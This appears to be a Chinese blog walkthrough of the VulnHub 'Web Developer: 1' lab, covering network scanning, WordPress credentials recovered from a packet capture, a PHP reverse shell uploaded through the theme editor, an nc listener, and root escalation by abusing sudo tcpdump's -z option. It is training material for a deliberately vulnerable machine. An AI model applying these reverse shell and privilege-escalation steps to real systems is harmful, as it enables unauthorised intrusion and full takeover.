WebDeveloper:1靶机渗透测试

一、靶机下载地址

https://www.vulnhub.com/entry/web-developer-1,288/

二、信息收集

1、主机发现

复制代码
# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:54:22:E9"

2、端口扫描

复制代码
# 使用命令
nmap 192.168.145.216 -p- -sV

3、指纹识别

复制代码
# 使用命令
whatweb "http://192.168.145.216"

4、目录扫描

复制代码
# 使用命令
dirsearch -u "http://192.168.145.216"

三、获取shell

1、访问靶机IP地址

2、拼接并访问ipdata目录,发现一个流量包,下载使用wireshark打开

3、查看后发现wordpress后台用户密码:webdeveloper:Te5eQg&4sBS!Yr$)wf%(DcAd

4、拼接并访问/wp-admin,发现登录框界面

5、用找到的用户名密码登录wordpress,登录成功

6、利用wordpress的上传theme功能getshell,在下处发现一处文件上传页面

7、把kali linux自带的php反弹shell代码(/usr/share/webshells/php/php-reverse-shell.php)直接把/usr/share/webshells/php/php-reverse-shell.php改一下ip和port,保存,并上传。

复制代码
# 使用命令
mv php-reverse-shell.php /home/kali/Desktop
vim php-reverse-shell.php

8、上传php-reverse-shell.php文件

9、经过尝试发现上传的反弹shell在wp-content/uploads/ 目录的子目录下

10、kali开启监听

复制代码
# 使用命令
nc -lvnp 1234

11、访问上传的文件,成功反弹到shell

12、输入以下命令,获得交互式shell

复制代码
# 使用命令
python3 -c 'import pty; pty.spawn("/bin/bash")'

四、提权

1、进入到/var/www/html/wp-config.php,找到数据库wordpress的用户名和密码webdeveloper : MasterOfTheUniverse

2、使用ssh进行连接

复制代码
# 使用命令
ssh webdeveloper@192.168.145.216

3、输入如下命令查找php-reverse-shell.php的位置,找到其位置在/var/www/html/wp-content/uploads/2024/08/php-reverse-shell.php

复制代码
# 使用命令
find / -name php-reverse-shell.php 2>/dev/null

4、然后输入以下命令,并且kali开启监听

复制代码
# 使用命令
COMMAND='php /var/www/html/wp-content/uploads/2024/08/php-reverse-shell.php'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root

# 监听
nc -lvnp 1234

5、成功反弹到shell,提权成功

相关推荐
TJHHH.5 小时前
XSS-labs-master
前端·web安全·xss
IT小白杨7 小时前
短视频多账号运营环境管理指南:指纹浏览器与云手机技术解析
大数据·经验分享·web安全·智能手机·音视频·指纹浏览器
其实防守也摸鱼10 小时前
红队技能总结导图:从入门到精通的完整知识体系
开发语言·人工智能·学习·安全·web安全
云水一下11 小时前
零基础玩转bWAPP靶场(六十三):Drupal SQL Injection (Drupageddon)
sql·web安全·bwapp
云水一下12 小时前
零基础玩转bWAPP靶场(六十四):XSS - Reflected (Custom Header)
web安全·xss·bwapp·header·custom·reflected
其实防守也摸鱼14 小时前
使用 Ansible 批量更新服务器 SSL/TLS 证书实战指南
服务器·网络协议·学习·安全·web安全·ansible·ssl
游戏开发爱好者81 天前
带签名时间戳接口的重放与压力测试实战,用动态值在发送前现算签名
网络协议·计算机网络·网络安全·ios·adb·https·压力测试
笨鸟先飞,勤能补拙1 天前
AI与深度学习:从原理到应用
人工智能·windows·vscode·深度学习·机器学习·网络安全·github
数据知道1 天前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
小新讲网安1 天前
云安全攻防实战:AWS与阿里云渗透测试全流程指南
安全·web安全·网络安全·阿里云·自动化·云计算·aws